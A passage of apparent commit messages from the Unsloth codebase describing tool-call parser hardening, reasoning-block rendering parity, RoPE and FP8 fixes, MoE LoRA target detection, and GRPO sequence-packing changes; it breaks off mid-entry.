* Studio tools: safetensors tool budget counts only executed turns (GGUF parity)
Follow-up to the GGUF budget fix. The safetensors loop charged max_tool_iterations
per non-re-prompt iteration (iteration + 1 - reprompt_count), so a duplicate/disabled
no-op turn spent a budget slot even though no tool ran. With a small cap this dropped
real work: for max_tool_iterations=2, a model that made a valid call, repeated it (an
internal no-op correction turn), then made a distinct valid call executed only the
first -- the third turn was sent with no tools and the distinct call was ignored.
Track whether a turn actually executed a tool (set on record_result) and count only
those turns against the cap, matching the GGUF loop. A duplicate/disabled no-op is a
correction turn -- like a plan-without-action re-prompt -- and no longer consumes
budget, so the model still gets its "already completed" nudge and another tool-enabled
turn. Adds a regression test for the small-cap duplicate-then-distinct-call flow.
* Studio: render the reasoning block for safetensors and MLX like GGUF
enable_thinking chat templates (Qwen3/Qwen3.5/GLM) prefill an unclosed <think>
into the generation prompt, so the model emits only the closing </think> then
the answer. The safetensors/MLX chat stream emitted that as plain content, so
the reasoning showed inline with no collapsible thinking block, while GGUF
(which surfaces reasoning via reasoning_content) rendered one. This brings
safetensors and MLX to parity.
- _ResponsesReasoningExtractor gains a reasoning_prefilled mode that starts
inside the reasoning block and splits on the first </think>; default False
keeps GGUF and every existing caller byte-identical. It suppresses a stray
re-emitted <think> and holds partial markers back across chunk boundaries.
- _sf_reasoning_prefill_mode gates the mode on reasoning being enabled for the
request, an enable_thinking or enable_thinking_effort style, and the template
actually using the standard <think>/</think> markers. Models with a bespoke
reasoning channel (e.g. gemma's <|think|>/<|channel>) are excluded so their
answer is never swallowed; gpt-oss (Harmony) and thinking-off requests are
excluded too.
- sf_tool_stream and stream_chunks (the latter also serves MLX) feed text
through the extractor, emitting reasoning_content then content deltas, with a
per-turn reset in the tool loop and a flush before each tool_start; only the
visible delta reaches the monitor reply. The two non-streaming drains split
reasoning_content the same way.
- Tests: extractor prefilled mode (streaming and edge cases), the gate matrix
including the gemma-style exclusion, and a route-replay of the tool-loop
reasoning stream.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: don't force a tool re-prompt on a negated intent (safetensors parity)
The safetensors _INTENT_SIGNAL claimed to mirror GGUF but was missing the
negative lookahead, so a refusal like "I will not search the web for that"
matched the "i will" intent and triggered the plan-without-action re-prompt
(STOP... you MUST call a tool), overriding a valid no-tool answer. GGUF already
excludes not/never. Add the same (?!\s+(?:not|never)\b) lookahead so both
backends agree. Extends the intent parity test with negated refusals.
* Studio: trim redundant comments (comment-only, AST-verified)
* Studio: prevent Gemma tool-parser DoS on stray delimiters
_gemma_parse_value returned the input index unchanged when text[i] was a
stray delimiter (,}]), so the list and mapping caller loops that advance
on the returned index spun forever at 100% CPU on malformed input such as
[},]. Advance past the delimiter so parsing always terminates.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: strip Magistral [THINK] reasoning from final display/history
strip_tool_markup removed [TOOL_CALLS] and <function> markup but left a
leading Magistral [THINK]...[/THINK] block intact, so its bracket-form
reasoning (not the <think> the reasoning channel renders) leaked into the
safetensors display and conversation history while GGUF/llama.cpp routes
it natively. Drop the leading reasoning block at end-of-turn (final=True)
via the existing _strip_mistral_reasoning helper; streaming is untouched.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Honor reasoning_effort none in safetensors prefill; strip Magistral reasoning while streaming
Two safetensors/MLX reasoning fixes surfaced in review:
_sf_reasoning_prefill_mode only checked enable_thinking, so an
enable_thinking_effort (GLM-5.2) request that disables thinking via
reasoning_effort=none (without enable_thinking=False) still began in
prefilled-<think> mode. A plain answer with no </think> was then swallowed
whole into reasoning_content and the visible response came back empty. Thread
reasoning_effort into the predicate and treat none as disabled, mirroring
_request_reasoning_kwargs.
strip_tool_markup_streaming stripped tool markup but not the leading Magistral
[THINK]...[/THINK] bracket block, so the raw chain-of-thought leaked into the
streamed safetensors content instead of the reasoning drawer (GGUF routes it
natively). Apply _strip_mistral_reasoning first, matching the final strip; an
unclosed [THINK] is held from the marker on so nothing flickers.
* Mistral outer call wins over XML literals; align healer signals with its parser
Two follow-ups on the shared-parser ordering after the healing-passthrough
merge:
- A well-formed [TOOL_CALLS] call whose JSON arguments quote tool XML parsed
the literal instead of the outer call (executing the wrong tool). When the
first XML signal sits inside a leading balanced Mistral body it is argument
data, so the Mistral parser now runs first; an XML signal before the trigger
keeps the normal order, so a [TOOL_CALLS] literal inside an XML call's
arguments still stays data.
- passthrough_healing buffered streams on the parser module's broadened signal
list (now including <|python_tag|> and [TOOL_CALLS]) but promotes with
core.tool_healing, which does not parse those forms: a streamed Mistral or
Llama text call was held until finalization and flushed as prose. The healer
keeps its own signal list limited to the formats it can promote, restoring
immediate streaming for the rest.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address review: leading envelopes win over rehearsed literals
- New _first_foreign_tool_signal shared by the leading-envelope guards adds
<|python_tag|> to the protected signal set: the spelled-out literal inside a
Mistral call's arguments (a query about Llama built-in tool syntax) executed
the inner literal instead of the outer call.
- New _xml_signal_inside_leading_bare_json guard, sibling of the Mistral one:
a leading bare-JSON call whose string argument quotes tool XML (a code value
citing <function=...>) had the literal promoted by the shared XML pass
before the bare-JSON parser ran.
- Magistral [THINK]...[/THINK] is dropped once at parse entry instead of only
inside the Mistral parser, so a call rehearsed in the think block in a
foreign format can no longer be promoted while the real call after the
block is lost. Parse now agrees with the display strip.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address review: a disabled leading bare-JSON object keeps its literals as data
When the leading bare-JSON object is ordinary content (name not an enabled
tool), the guard proved the first tool signal sits inside it, so falling
through to the XML/python_tag passes promoted quoted string data as a real
call. Drop the object and parse only the tail: a real call after the object
still parses, nothing inside it can be promoted.
* Address review: Mistral literals inside leading JSON, whitespace-tolerant wrapped Gemma opener
- The leading bare-JSON guard now treats the [TOOL_CALLS] trigger as a
foreign signal: the Mistral parser runs before the bare-JSON one, so a
literal quoted inside the leading object's strings was promoted over the
outer call (or over ordinary JSON content).
- tool_healing's wrapped Gemma opener tolerates whitespace around call and
the colon: sampling drift emits call: name{ and call : name{, and
rejecting those lost the call entirely because no fallback re-parses the
wrapped form. Strict mode still requires the closing tag.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address review: accept dotted Gemma argument keys in the key-quoting scanner
The scanner quoted keys of [alnum_-] only, so a dotted key (user.name:...)
was left unquoted, json.loads failed, and the whole wrapped call was lost
(parse empty, strip wipes the markup). Dots now match the parser's own
key/name charset.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address review: leading Mistral call owns the turn, dotted keys after bare values
- A LEADING parseable [TOOL_CALLS] call now runs the Mistral parser first
unconditionally: literal XML in trailing prose after the call was promoted
by the earlier shared XML pass, executing the quoted example instead of
the real leading call. XML leading keeps the normal order.
- _GEMMA_NEXT_KEY_RE accepts dots so a dotted key after a bare value
(query:foo,user.name:bob) ends the value at the comma instead of being
swallowed into it, matching the round-earlier key-quoting charset.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address review: markup quoted inside a nameless leading JSON answer stays data
The leading bare-JSON guard required a top-level name, so a structured JSON
answer quoting tool markup in its strings (a response_format turn
documenting a tool's syntax) had the literal promoted by the later passes.
A nameless leading object that parses as real JSON now routes through the
same decline-then-parse-the-tail path; non-JSON braced prose keeps the old
behaviour, and a real call after the answer still parses.
* Compress docstrings in the multi-format tool parser to their contract essence
* verify_import_hoist: exempt __future__ imports and same-diff relocations
Two false positives fired on this PR's refactor. A from __future__ import
is a compiler directive whose name never appears as a runtime load, so
HOISTED-IMPORT-UNUSED can never see it used, yet the file requires it for
PEP 604 annotations on Python 3.9. TARGET-CHANGED flagged the deliberate
move of the strip-pattern constants into core.inference.tool_call_parser
as a silent re-point even though the old module-level target was removed
and the new one added in the same diff. Both get narrow exemptions; a
re-point to a pre-existing target is still caught, and the self-test
negative controls all pass unchanged.
* Leading bare-JSON calls own the turn; function calls end at the first balanced close
The XML-signal guard for a leading bare-JSON call required the signal
strictly inside the object, so a trailing XML example stole the turn
from the leading call; it now applies the same inside-or-after rule as
the Mistral guard. Function-XML calls also ended at the LAST close tag,
which let prose after a closed call that mentions a literal close tag
get swallowed into the final parameter value; calls now end at the
first close tag that is not inside an open parameter, and the strip
mirrors the same rule so parse and strip agree.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Attribute-form calls end at the first balanced close; bare-JSON strip requires the call shape
The attribute form parser still kept the last close tag in the call
window, folding prose after a closed call into the final parameter
value. It now takes the first close not inside an open parameter, the
same rule the equals form and the strip already use.
The leading bare-JSON strip deleted any closed object whose top-level
name matched an enabled tool, including plain JSON answers the parser
correctly rejects as non-calls. The strip (and the drain gate that
delegates to it) now requires the parser's exact call shape, so answers
like {"name":"web_search","result":...} stream and display intact.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* False-alarm markers keep the answer; the bare-JSON strip consumes the whole chain
The trailing strip arms dropped everything from a bare marker to EOF,
so a normal answer that mentions [TOOL_CALLS] or another marker
literally was truncated (or fully swallowed when it started with the
literal) after the no-call drain fallback. Those arms now require a
call-shaped lookahead or marker-at-EOF before dropping; truncated real
calls still strip.
Chained bare-JSON turns executed both calls but stripped only the first
object, so the second call's raw JSON replayed into the next assistant
history message alongside the structured tool_calls. The strip now
consumes the entire chained run of call-shaped enabled objects while
non-call answers, disabled names, and trailing prose stay intact.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Attribute-form containment, parameter-close-decides rule, preamble-tolerant Mistral guard, strict strip shape
Four document-order and containment fixes. A leading attribute-form
call now parses before the shared XML pass, so markup quoted in its
parameter stays data. The open-parameter scan lets the parameter's own
close tag decide, so any number of literal function closes inside one
value stay data, restoring the pre-close-scan behavior for multi-close
arguments. The leading-Mistral guard tolerates a visible preamble, with
the leading-bare-JSON guard running first so a trigger quoted inside a
leading JSON object stays data. The bare-JSON strip requires the
parser's top-level name in every mode, so nested-name JSON answers
survive name-agnostic stripping.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Let a leading <|python_tag|> call own the turn over quoted XML literals
The leading-call ownership contract (a leading executable call owns the turn;
foreign markup quoted in its string arguments or trailing prose stays data) was
enforced for the bare-JSON, Mistral and attribute-form leading calls but not
for the Llama-3 <|python_tag|> form. The shared tool_healing XML pass runs
before _parse_llama3_python_tag and does not recognise <|python_tag|>, so a
<function=...> / <tool_call> / [TOOL_CALLS] literal quoted inside a
<|python_tag|> .call(...) string argument (or its JSON parameters) was promoted
and the wrong tool executed. Well-formed single-format examples:
<|python_tag|>web_search.call(query="... <function=foo> ...") -> foo
<|python_tag|>python.call(code="<function=render_html>..</function>") -> render_html
both returned the phantom inner tool instead of the real leading call.
Add a leading-<|python_tag|> guard mirroring the other leading-call guards:
when the tag is the first tool signal, parse it before tool_healing so quoted
foreign markup stays data. A foreign signal before the tag keeps normal
document order. Added TestPythonTagOuterOverXmlLiteral (7 cases).
* studio: tighten tool-calling comments to be shorter and clearer
* studio: shorten tool-format comments in changed files
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
Co-authored-by: Daniel Han <info@unsloth.ai>
Co-authored-by: danielhanchen <danielhanchen@users.noreply.github.com>
ruff-format requires two blank lines before a top-level function.
loader.py carried only one, so the ruff-format-with-kwargs pre-commit
hook reformats it and the run fails. This restores the expected spacing.
* Fix llama3 RoPE scaling dropped on transformers v5
transformers v5 loads on meta then blanks non-persistent buffers, so
_fix_rope_inv_freq rebuilds inv_freq after load. It recomputed a vanilla
inv_freq and applied _apply_inv_freq_scaling, a no-op on the base
LlamaRotaryEmbedding used by the config/llama3 path, so inv_freq ended up
divided by 1 instead of the config factor (8 for Llama 3.1, 32 for Llama
3.2). This corrupts long-range positions and inflates long-context loss
about 3-5x. transformers 4.x was unaffected.
Route __init__ and the v5 repair through one _unsloth_recompute_inv_freq
so they cannot diverge, and stash the config on the rotary module so the
repair can rebuild the same scaled value.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Add test for llama3 RoPE scaling under the transformers v5 repair
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Update RoPE drift guard for the recompute refactor and guard the v5 repair
The drift guard's AST tripwire asserted the config-scaling call lived in the
if config is not None branch of LlamaRotaryEmbedding.__init__. The fix moved
that into _unsloth_recompute_inv_freq, so follow it there (with a fallback to
the old inline branch) and add a guard that loader._fix_rope_inv_freq rebuilds
inv_freq through the same helper. Also add a CPU functional check of the helper
and drop the redundant standalone test.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
The live resource monitor and GPU readouts derive memory from binary byte
counts (bytes / 1024**3 for torch and psutil, MiB / 1024 for the nvidia-smi
path), which is GiB, but the UI labeled the values "GB". On a B200 this
showed "178.35 GB" for a card whose nvidia-smi total is 183359 MiB
(179 GiB), so it looked like memory was missing.
Relabel the measured RAM and VRAM readouts to GiB across the floating
monitor, the resources tab, the studio live GPU panel, the hub header, the
about tab and the onboarding summary. The numeric values are unchanged, so
the training GPU selection and memory-fit logic that read the same fields
are unaffected. Disk stays labeled GB because the backend reports it in
decimal GB (bytes / 1e9), and model file sizes and download progress keep
their decimal GB labels to match Hugging Face.
* Note the bundled flash-linear-attention kernels for gated-deltanet models
Unsloth Zoo now bundles the flash-linear-attention (fla) gated-delta Triton
kernels and injects them automatically, so gated-deltanet models (Qwen3-Next,
Qwen3.5, Kimi-Linear) get the fast path with no pip install. Replace the old
install advisory with a one-time note that fires only when the bundled kernels
could not be enabled on the current setup (no CUDA, or torch < 2.7 / triton < 3.3),
i.e. exactly when transformers falls back to the slow pure PyTorch path.
* Tighten comments
* Normalize model_types in fla install advisory for None and single string
* Cover olmo_hybrid in the gated-deltanet fla advisory
* Add gemma4, glm4_moe and qwen3_moe to the FORCE_FLOAT32 fallback list
Keeps the fallback list (used only if the unsloth_zoo import fails) in sync with
unsloth_zoo/model_lists.py, which now force-float32s these MoE archs so a float16
request loads bf16 and trains finite instead of NaNing the grad_norm.
* Union FORCE_FLOAT32 fallback so new archs force float32 with older unsloth_zoo
A model path ending in -bf16 unconditionally forced 16-bit loading, so a
LOCAL checkpoint directory whose name happens to end in -bf16 could never be
loaded in 4-bit, 8-bit or fp8: the suffix rule silently overrode the caller's
quantization flags. Hub repo ids keep the existing behavior (the suffix is a
publishing convention there), but for a local directory (expanduser-aware, so
tilde paths are detected too) the requested quantization is preserved unless
the caller explicitly passes load_in_16bit=True.
* Auto-enable grouped MoE on loaded / PEFT'd models via loader hook
Wraps the FastLlamaModel and FastBaseModel from_pretrained / get_peft_model leaves with wrap_loader_for_grouped_moe so the grouped-GEMM MoE forward is installed on the live instance after the model and its compiled module are built. Gated by UNSLOTH_MOE_GROUPED and wrapped in try/except, so it is a no-op when the unsloth_zoo module is absent or no eligible MoE block exists.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Install grouped-MoE loader wrappers before PatchFastRL
* Re-evaluate grouped MoE after loading a PEFT adapter
When loading an existing adapter through FastLanguageModel.from_pretrained,
the base model is evaluated for grouped MoE when the wrapped from_pretrained
leaf returns, but the adapter is attached afterwards via PeftModel and
patch_peft_model. Re-run auto_enable_grouped_moe on the final model so
blocks whose experts gained LoRA are restored to the original loop,
attention-only adapters keep the grouped path on their frozen experts, and
recompute is re-derived from the final gradient-checkpointing state. Guarded
so it never blocks adapter loading.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Trim comments in the grouped MoE loader hooks
Shorten the loader re-eval and llama.py wrapper comments; code is unchanged
(verified comment-only).
* Re-evaluate grouped MoE after loading a PEFT adapter on the vision path
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Honor an explicit sdpa or flex_attention request when flash is disabled
When flash attention is disabled for a model, the fallback selection could
downgrade a caller who explicitly passed attn_implementation='sdpa' or
'flex_attention' to a different backend, because the disable reason is
flash-specific. Keep an explicit non-flash request as-is; flash requests
still fall back as before.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten comments
* Gate honor-explicit attention on provenance and flex support
Only honor an explicit non-flash attention request when it comes from the
caller argument, not from a config value the loaders synthesize (the language
path seeds attn_implementation=sdpa). Honor explicit flex_attention only when
supports_flex_attention is True so excluded/broken configs (e.g. gpt_oss) fall
back instead of selecting a known-broken backend. Explicit sdpa stays honored.
* Honor explicit sdpa through the resolver guard
* Keep SDPA exclusions when honoring an explicit sdpa request
An explicit attn_implementation="sdpa" was re-enabling sdpa for models in
_SDPA_EXCLUDED_MODELS (e.g. gpt_oss) where sdpa is known-broken: the helper
honored the request and the resolver's final not-supports_sdpa guard skipped
the eager downgrade for any explicit request. Honor an explicit sdpa only when
the model is not sdpa-excluded, mirroring the flex guard that already falls
back for _FLEX_EXCLUDED_MODELS via supports_flex_attention. Conservative
supports_sdpa=False (large head dim / attention-sink models) still honors an
explicit sdpa; a synthesized/default sdpa still downgrades to eager.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Honor DISABLE_SDPA_MODEL_NAMES when honoring explicit sdpa
The honor-explicit-sdpa guard only skipped the sdpa->eager downgrade for models
in _SDPA_EXCLUDED_MODELS (gpt_oss). Gemma3/Gemma3Text disable SDPA through the
loader's DISABLE_SDPA_MODEL_NAMES (their bundled SDPA modules are wrong), so an
explicit sdpa request bypassed the downgrade and re-enabled a known-wrong path.
Extend _is_sdpa_excluded to also treat DISABLE_SDPA_MODEL_NAMES membership as
excluded, replicating the loader's trailing-comma substring match so gemma3 and
gemma3_text match but gemma3n does not. Move the constant into _utils.py (single
source of truth, re-exported from loader.py) to avoid a loader -> _utils cycle.
Conservative supports_sdpa=False models not in either list still honor explicit
sdpa.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Scope MoE expert LoRA detection to actual MLP projection targets
_moe_target_set_from_string treated any regex containing the substring mlp
or ffn as targeting the expert MLP projections. Unsloth's auto-generated
attention-only regex lists mlp, ffn and feed_forward as allowed intermediate
path segments while its final group matches only q_proj/k_proj/v_proj/o_proj,
so attention-only finetuning on MoE models silently enabled expert LoRA as
well: the experts were trained and every MoE layer paid the extra expert LoRA
grouped matmuls. Detect expert intent from the projection names themselves
(gate_proj/up_proj/down_proj/gate_up_proj) instead of the mlp substring.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten comments
* Detect MoE expert LoRA via mlp path segment, not proj names
The auto-generated target regex always lists every projection leaf
(q/k/v/o and gate/up/down), so keying detection on a proj name mis-fired:
it enabled expert LoRA for attention-only regexes and dropped the
mlp/ffn path regexes. Key on the mlp/ffn/feed_forward/experts path
segment instead, which is present only when the MLP/experts are actually
targeted. Add a regression test for the attention-only case.
* Scope expert LoRA targets to the leaves a regex names
An mlp path alternative with attention-only leaves, for example
(mlp|self_attn).(q_proj|o_proj), no longer enables expert LoRA, and a
regex naming a single expert leaf such as .*experts.*down_proj now
targets only that projection instead of the whole broad set. Generic
mlp projections (.*mlp.*proj) and the auto regex mlp tag block keep the
broad set for fused-expert models whose leaves are plain Parameters.
* Route explicit leaf list into MoE expert detection
An attention-only explicit target_modules list routed through get_peft_regex
for family scoping (e.g. FastVisionModel with vision layers off) yields a
regex carrying the full mlp|feed_forward|ffn|dense component block even though
its leaf group only names q/k/v/o_proj. Keying expert detection on that regex
trained the experts for a language-only/attention-only request. Use the
caller's original leaf list for detection; only the auto path uses the regex,
where the mlp block is the sole MLP-intent signal on fused-expert models.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Respect finetune_mlp_modules and finetune_language_layers scope for MoE expert detection
When an explicit leaf list that names MLP projections (gate_proj/up_proj/down_proj)
is routed through get_peft_regex under finetune_mlp_modules=False, the scoped regex
correctly drops the MLP leaves, but MoE expert detection was still keyed on the
original list and re-added mlp.experts.* via target_parameters, training the experts
the caller had frozen. Same gap for finetune_language_layers=False on vision-only runs.
Prefer the original list only when MLP and language families are both in scope
(preserving the attention-only fix); otherwise honor the scoped result so the frozen
family is respected. Factored the choice into _select_moe_detection_targets with unit
tests over the full selection matrix.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Handle odd shapes and non-float scales in FP8BlockQuantLinear
Small fp8 checkpoints (e.g. tiny test models) break the block-quantized
linear in three ways: weight scales stored in a float8 dtype such as
float8_e8m0fnu have no triton dtype mapping; activations whose hidden dim is
not a multiple of the activation quant block fail act_quant's divisibility
assert; and weights whose dims are not multiples of the weight block cannot
be tiled by the triton dequant kernel.
Cast non-float scales to float32 on entry, and when the hidden dim does not
divide into the activation block, dequantize the weight and run a plain
matmul instead of the fp8 block matmul. The dequant goes through a new
shape-safe helper that falls back to a torch-native scale expansion when the
weight does not tile evenly; backward uses the same helper so the gradient
path works for every shape the forward accepts. Full-size checkpoints are
unaffected.
* Add tiny / e8m0 fp8 block-quant regression test
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix FP8 block-quant fallback: real block size in dequant and scalar-scale fast path
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Route rectangular fp8 blocks through torch dequant and keep block_size across e8m0 upcast
The triton weight_dequant kernel uses one BLOCK_SIZE for both axes, so
rectangular blocks (block_size[0] != block_size[1]) mis-index the column
scale and corrupt grad_X. Route those through the torch scale expansion,
which handles each dimension independently, and keep the triton path for
square blocks only.
Also preserve a block_size attribute carried on the scale tensor across the
e8m0 -> float32 upcast so the later lookup no longer falls back to [128, 128].
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* GRPO: optional sequence packing for the no-grad old/ref logp path
Add an opt-in sequence-packing fast path to _get_per_token_logps_and_entropies, enabled with
UNSLOTH_GRPO_SEQ_PACKING=1. When the batch is text-only, the padded [B, Lmax] per-chunk forward is
replaced by a single varlen [1, sum L] forward (BlockDiagonalCausalMask via packed_seq_lengths with
reset position_ids). Per-token logps use the same float32 chunked_hidden_states_selective_log_softmax
as the padded path, so the old and reference logps are bit-for-bit identical.
Safety: the packed path is self-verified once against the padded ground truth on a batch that has at
least two rows with real completion tokens (self._unsloth_seq_packing_nograd_ok), so cross-sample
contamination would actually manifest; a degenerate all-pad / fully tool-masked batch leaves the
verdict unset and re-verifies later. If a backend silently ignores packed_seq_lengths (flat batch run
under a normal causal mask, samples leaking across boundaries), the packed logps will not match and
packing is disabled instead of corrupting logps. It also forces use_cache=False (a populated
past_key_value disables varlen packing), skips packing when a sliding window is shorter than the
packed stream, runs the same GPT-OSS offload device_synchronize the padded loop uses, and falls back
on any exception (UNSLOTH_GRPO_SEQ_PACKING_DEBUG=1 prints the reason).
Default off, so existing behavior is unchanged. Pairs with the matching gradient-path change in
unsloth_zoo so the full GRPO logp + loss + backward can run packed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* GRPO no-grad packing: address review feedback
- Cache the packed-vs-padded verdict per unwrapped model instead of on the
trainer, so a separately forwarded reference model is verified on its own
forward path rather than inheriting the policy model's verdict.
- Force the padded path when token_type_ids or mm_token_type_ids are present,
matching the extra vision kwargs the padded loop forwards.
- Require the xformers varlen backend before packing. Without it the packed
mask falls back to a dense O(T^2) SDPA mask that can OOM on the flattened
batch, so we keep the padded loop in that case.
- On any packed-forward failure (missing backend, OOM, unsupported forward)
empty the cache on OOM, disable packing for that model, and fall back to the
chunked padded loop instead of retrying every step.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* GRPO no-grad packing: default-on, verify against per-row reference
Redesign of the optional sequence-packing fast path for the no-grad
old/ref logprob recompute, after establishing that the packed forward is
the exact per-row computation and the padded batch forward is the side
that mis-positions left-padded rows on long completions.
- Default the packing on (UNSLOTH_GRPO_SEQ_PACKING, disable with 0).
- Verify the packed logprobs against the per-row clean forward (each
row's real tokens alone, reset 0-based positions, no padding), not the
padded batch which is itself wrong for left-padding. Cross-sample
contamination (a backend ignoring packed_seq_lengths) shows up as a
large mismatch and falls back to the padded loop.
- Make the trust decision shape and RoPE aware: re-verify whenever the
packed total length or the longest segment grows past what was
verified, so a later batch crossing a LongRoPE short/long cache
boundary is re-checked instead of trusted blindly.
- Run lm_head only on completion-prediction positions instead of every
packed prompt token, so long-prompt/short-completion batches do not
pay for projecting the whole packed prompt.
- Drop the hard xformers import so the path also runs in
FlashAttention-only environments; the per-row verification guards
correctness regardless of backend.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* GRPO no-grad packing: disable entirely on cross-sample mismatch
When the per-row verification fails, distinguish the two failure modes by
magnitude instead of by sequence length:
- A large mismatch (>= 1.5) is the cross-sample contamination signature:
the model's attention does not honor the block-diagonal packed mask
(seen on some MoE / custom-attention models, e.g. qwen2_moe). Disable
packing entirely for the model so later batches do not pay the
verification cost again.
- A moderate mismatch is more likely a length-boundary effect (a LongRoPE
short/long cache switch): keep marking just that length region unsafe so
packing still runs for smaller shapes.
Validated: Qwen1.5-MoE falls back after a single verification (grad and
no-grad ok flags go False, no re-verify on later steps); dense Llama-3.2
and Qwen3 still verify and engage packing.
* GRPO no-grad packing: trim comments to be concise
* GRPO no-grad packing: fix per-row completion boundary for left-padded rows
The completion-target selection used a single global boundary
(col >= L - logits_to_keep). After left-packing, each row's completion
starts at (L - logits_to_keep) - left_pad[row], so for left-padded rows
the first left_pad completion tokens fall below the global boundary and
were dropped, leaving 0 logprobs at real completion positions that the
loss mask keeps. Use the per-row boundary so packed coverage matches
create_completion_attention_mask exactly, and widen the self-verify mask
to the full per-row completion region so it can catch coverage gaps.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* GRPO no-grad packing: gate verification on real completion rows
Count active rows via create_completion_attention_mask (the same mask the
loss uses) instead of any non-pad token in the packed window. Prompt-only
rows carry prompt-overflow tokens in the window and could otherwise satisfy
the >= 2 verification guard, letting a batch with a single real completion
row cache a trust decision. This matches the gradient path, which already
gates on the completion mask. The same mask is reused for the self-verify
comparison.
* GRPO no-grad packing: gate debug logging on UNSLOTH_ENABLE_LOGGING
Use the shared UNSLOTH_ENABLE_LOGGING global (import_fixes, re-exported by
_utils) instead of a bespoke UNSLOTH_GRPO_SEQ_PACKING_DEBUG env var for the
packing debug prints, matching the rest of the codebase.
* GRPO packing: import UNSLOTH_ENABLE_LOGGING inside the injected logp function
_get_per_token_logps_and_entropies is copied verbatim into the generated GRPO trainer
via inspect.getsource, and that module never imported UNSLOTH_ENABLE_LOGGING, so the
default-on packing verify path raised NameError (and the except handler re-raised it).
Import the flag locally, before the try, so the name is defined in the generated module
too. Drop it from the now-unused module-level import.
* GRPO no-grad packing: harden unsafe-length skip, verify guard, fallback cleanup
Three fixes to the no-grad logp packing path, mirroring the grad path:
- skip the packed forward for known-unsafe lengths by reading unsafe_T and
gating on it before the forward, instead of running the full packed pass and
the result build only to discard them (wastes a pass, can OOM at large T)
- only widen the verified T/seg envelope when >= 2 completion rows actually
exercised cross-sample packing; a < 2 row batch cannot expose leakage, so it
must not extend the trusted shape that later multi-row batches skip verify for
- drop the packed intermediates (hidden/sel/result/ref) before the padded
fallback loop so it does not run with the flattened hidden state still resident
* GRPO no-grad packing: cap the flattened forward at one mini-batch budget
The packed path built a single [1, sum L] forward over every row before any
size check, so a large batch could exceed the memory the padded path bounds
per mini-batch. Gate packing on _pk_T <= _pk_cap (B * seq_len, one padded
mini-batch's token budget); larger batches fall back to the chunked padded
loop.
* GRPO no-grad packing: disable unless unsloth_zoo has the masked-column guard
The packed path leaves masked prompt/pad logprob columns at 0, which only stays
finite if unsloth_zoo grpo_compute_loss zeroes them before exp() (zoo#840). An
older unsloth_zoo without that guard would NaN. Detect the guard once (cached on
the model) via inspect.getsource and gate packing on it, so #6738 is safe with
any unsloth_zoo version and re-enables packing automatically once a guarded zoo
is installed, independent of the pinned lower bound.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* GRPO packing: hoist env gates and zoo-guard detection to one-time module checks
Read UNSLOTH_GRPO_SEQ_PACKING and detect the unsloth_zoo masked-column guard once at
import time (module constants plus RL_PRE_ITEMS for the generated trainer cache) instead
of per call, and drop the in-function UNSLOTH_ENABLE_LOGGING import for a module-top one.
The UNSLOTH_GRPO_SEQ_PACKING_VERIFY force-verify debug knob is commented out, kept in
place for hand re-enable; the first-use and envelope-growth self-verify stays active.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* GRPO packing: cap the flattened forward by the padded chunk rows
B counts chunks at this point, so B * seq_len understated (small runs) or overstated
(large runs) the padded mini-batch token budget; use batch_size * seq_len, the rows the
padded loop actually forwards per chunk.
* Add PrefixGrouper for GRPO: dedup the shared prompt across a group's completions
In GRPO every prompt spawns G=num_generations completions that share the prompt
prefix, so the trunk logprob forward re-encodes that prefix G times. PrefixGrouper
stores the prefix once and concatenates only the G suffixes behind a FlexAttention
